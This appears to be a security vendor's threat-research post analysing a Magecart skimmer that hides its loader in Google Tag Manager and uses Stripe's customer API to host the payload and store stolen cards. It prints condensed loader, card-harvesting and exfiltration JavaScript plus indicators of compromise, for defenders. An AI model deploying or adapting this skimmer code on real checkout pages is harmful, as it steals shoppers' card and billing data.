Magecart skimmer turns Stripe into a malware command server
by Sansec Forensics Team
Published in Threat Research − June 04, 2026
Sansec found a Magecart family that runs its skimmer straight out of Stripe. The attacker stores the card stealer in a Stripe customer's metadata and runs it on checkout pages, then writes stolen cards back into the same account as fake customers. Stripe is both the command server and the exfiltration sink, all behind a domain almost no store would block.

The skimmer never loads from a domain the attacker controls. The loader, the payload, and the stolen cards all flow through two domains every store already trusts: Google Tag Manager and Stripe.
Both the payload and the stolen cards move through api.stripe.com. Stores allow that domain by default, so the skimmer slips past Content Security Policy rules and network filters that would otherwise flag traffic to an unknown skimmer domain.
The loaders are real Google Tag Manager containers (GTM-P6KZMF63 and others), planted as a custom tag and served straight from googletagmanager.com. Serving the loader from a Google domain helps it blend in next to a store's legitimate analytics tags.
How it works
The malware splits its work into three parts that run in this order:
- Code delivery: located within a real GTM container (
GTM-P6KZMF63), the code executes on every page that loads it. On checkout pages it fetches the skimmer from Stripe customer metadata and runs it withnew Function(). - Harvest: the skimmer hooks into the checkout button. On click, it grabs the card and billing fields, XOR-encodes them, and parks the blob in
localStorage. - Exfiltration: 1 second after each page load, then every 60 seconds, the loader reads that blob from
localStorageand uploads it to the attacker's Stripe account as a fake customer.
The loader
Cleaned up, the delivery code is small. On checkout pages it pulls the skimmer from Stripe and runs it:
// on checkout pages, fetch the skimmer from Stripe and run it
if (location.href.indexOf("checkout") !== -1) {
setTimeout(function () {
getMetaString().then(function (code) {
if (code) new Function(code)(); // arbitrary remote code execution
});
}, 2000);
}
// fetch the skimmer chunks from the attacker's Stripe customer metadata
function getMetaString() {
return fetch("https://api.stripe.com/v1/customers/cus_TfFjAAZQNOYENR", {
headers: { Authorization: "Bearer sk_test_51Shuxz4fAPbvfTkr[...]" }
}).then(function (r) { return r.json(); })
.then(function (r) {
return Object.keys(r.metadata).map(function (k) { return r.metadata[k]; }).join("");
});
}
On any checkout page, getMetaString() fetches a specific Stripe customer (cus_TfFjAAZQNOYENR) in the attacker's account and concatenates its metadata fields. The skimmer is too long for a single Stripe metadata value, so the attacker chops it into chunks stored across meta0, meta1, meta2 and so on.
The loader joins them and runs the result with new Function(). That is arbitrary remote code execution, with Stripe serving the command.
This design lets the attacker update the skimmer at any time by editing the Stripe metadata, with no need to touch the injected GTM tag or the victim store again.
Fetching that customer record returns the staged skimmer:
{
"id": "cus_TfFjAAZQNOYENR",
"object": "customer",
"created": 1766594844,
"email": "jennyrosen@stripe.com",
"invoice_prefix": "WLUFUAQS",
"name": "Jenny Rosen",
"metadata": {
"meta0": "var a0_0xa01889=a0_0x11c7;(function(_0x5819d6,_0xe324f9){var _0x3069e3=a0_0x11c7,_0x40b7fe=_0x5819d6();while(!![]){try{var _0x44265a=parseInt(...",
"meta1": "...",
"meta10": "..."
}
}
The jennyrosen@stripe.com email and WLUFUAQS invoice prefix are leftovers from Stripe's own sample data, a sign the attacker built this customer record from a default template. The record was created on December 24, 2025, so this campaign has likely been running since at least late last year.
The skimmer harvests the checkout
Decoded and condensed, the harvester waits for the checkout button, then hooks its click:
// poll until the Magento checkout button exists, then hook its click
var poll = setInterval(function() {
var btn = document.querySelectorAll(".action.primary.checkout:not(#top-cart-btn-checkout)");
if (!btn.length) return;
clearInterval(poll);
btn[0].addEventListener("click", function() {
// read each field by selector, "null" when absent, then pipe-join
var grab = function(sel) {
var el = document.querySelectorAll(sel);
return el.length ? el[0].value : "null";
};
var out = [
grab('input[autocomplete="cc-number"]'),
grab('[name="payment[cc_exp_month]"]'),
grab('[name="payment[cc_exp_year]"]'),
grab('input[name="payment[cc_cid]"]'),
// ...firstname, lastname, street[0], city, country_id, region_id,
// postcode, customer-email, telephone, [data-th='Grand Total']
].join("|");
// store only when card number, expiry month/year and CVV are all present
var f = out.split("|");
if (f[0] !== "null" && f[1] !== "null" && f[2] !== "null" && f[3] !== "null") {
// XOR each char against "EGAU3X9PAMJ8RYRNJSPV", hex-encode, then save
localStorage.setItem("cus_customer_id", xorHex(out + "|CP"));
}
});
}, 1000);
The selectors (payment[cc_cid], payment[cc_exp_year], [name="street[0]"], [data-th='Grand Total']) are specific to Magento and Adobe Commerce checkout markup. The skimmer pipe-joins the full card (number, expiry, CVV), the complete billing address, contact details, and the order total.
It stores the data only when the four card fields are all present. Then it appends a |CP marker, XOR-encodes the string with the key EGAU3X9PAMJ8RYRNJSPV, and parks it in localStorage under cus_customer_id. The skimming code never uploads anything itself.
Exfiltration happens later
Uploading the stolen data is a separate job in the same loader, not part of the skimmer:
// run the exfiltration routine 1s after load, then every 60s
setTimeout(pdat, 1000);
var mtimer = setInterval(pdat, 60000);
// upload the stolen blob from localStorage as a fake Stripe customer
function pdat() {
var blob = localStorage.getItem("cus_customer_id");
if (!blob) return;
clearInterval(mtimer);
var half = Math.floor(blob.length / 2); // split in half, crude obfuscation
var body = "email=johndoe@gmail.com" +
"&metadata[customer_id]=" + encodeURIComponent(blob.slice(0, half)) +
"&metadata[device_id]=" + encodeURIComponent(blob.slice(half));
fetch("https://api.stripe.com/v1/customers", {
method: "POST",
headers: { Authorization: "Bearer sk_test_51Shuxz4fAPbvfTkr[...]" },
body: body
}).then(function (r) {
if (r.ok) localStorage.removeItem("cus_customer_id");
});
}
It runs one second after each page load (setTimeout) and again every 60 seconds (mtimer). When pdat finds a blob in localStorage, it splits the value in half and POSTs it to Stripe's customer API.
Theft and upload are decoupled. The skimmer writes the card data to localStorage the moment the shopper submits checkout. The exfiltration routine then picks it up on the next page load, or when its 60-second timer fires, and ships it to Stripe.
Every stolen card becomes a "customer" in the attacker's account. The email is junk filler (johndoe@gmail.com), and the real data lands in metadata[customer_id] and metadata[device_id]. Splitting the value in half is crude obfuscation so the card data does not sit in one obvious field. On success, the loader deletes the localStorage entry, so the same record is not sent twice.
The attacker lists their stolen cards later by calling the same API with the same key. Stripe's customer database becomes a free, durable exfiltration sink.
A Stripe secret key in the browser
Each loader carries a hardcoded Stripe secret key:
Authorization: Bearer sk_test_51Shuxz4fAPbvfTkr...
No legitimate integration ever ships a Stripe secret key in client-side JavaScript. Secret keys belong on the server. Finding one in a browser script is by itself proof of compromise.
The keys use the sk_test_ prefix, so they run in Stripe test mode. The attacker treats Stripe as free infrastructure, not a way to launder charges. Stripe gives them a writable database for stolen cards and a code-hosting endpoint for the skimmer, both behind a domain that CSP rules and network filters trust by default.
The Firestore variant
A separate loader from the same family uses Google Firestore instead of Stripe. It reads stolen data from localStorage key _d_data_customer_ and pulls its payload from a Firestore document:
https://firestore.googleapis.com/v1/projects/braintree-payment-app/databases/(default)/documents/tracking/captcha?key=AIzaSyA3xkG_[...]
The braintree-payment-app project name and captcha document path are chosen to look like ordinary payment and bot-protection traffic. It is a different channel from the Stripe variant, but the same idea. Both abuse a mainstream cloud API as a covert channel that no store blocks.
Recommendations
- Block attacks: Deploy Sansec Shield to block Magento core vulnerability exploitation attempts in real time.
- Scan for compromise: Run eComscan to detect skimmers, backdoors, and unauthorized changes to your store.
- Audit your client-side scripts: Treat any
sk_test_orsk_live_Stripe key, or any directapi.stripe.comandfirestore.googleapis.comcalls in browser JavaScript, as a compromise. Legitimate front-end code never carries a Stripe secret key. - Watch your Tag Manager: GTM containers and "external script" settings are a common injection point. Review every tag you did not add yourself.
Indicators of compromise
# GTM container IDs
GTM-P6KZMF63
GTM-55976FLP
GTM-MSDHV3HG
GTM-TV4CSHVN
# stripe customer ID hosting the skimmer payload
cus_TfFjAAZQNOYENR
# exfiltration endpoints
https://api.stripe.com/v1/customers
https://firestore.googleapis.com/v1/projects/braintree-payment-app/databases/(default)/documents/tracking/captcha?key=AIzaSyA3xkG_[...]
# localStorage keys
cus_customer_id
_d_data_customer_
# XOR key
EGAU3X9PAMJ8RYRNJSPV
# filler email used in fake Stripe customer records
johndoe@gmail.com
Read more
- GorgonAgora: 4,800+ fake storefronts skim cards across hundreds of impersonated brands
- SVG Onload Tag Hides Magecart Skimmer on 99 Stores
- Mass PolyShell attack wave hits 471 stores in one hour
- Novel WebRTC skimmer bypasses security controls at $100+ billion car maker
- Thousands of Adobe Commerce stores hacked in competing CosmicSting campaigns
In this article
Protect your store now!
Block all known Magento attacks, while you schedule the latest critical patch until a convenient moment. No more downtime and instability from rushed patching.
Get Sansec ShieldScan your store now
for malware & vulnerabilities
eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce, Sylius and many more.
Learn more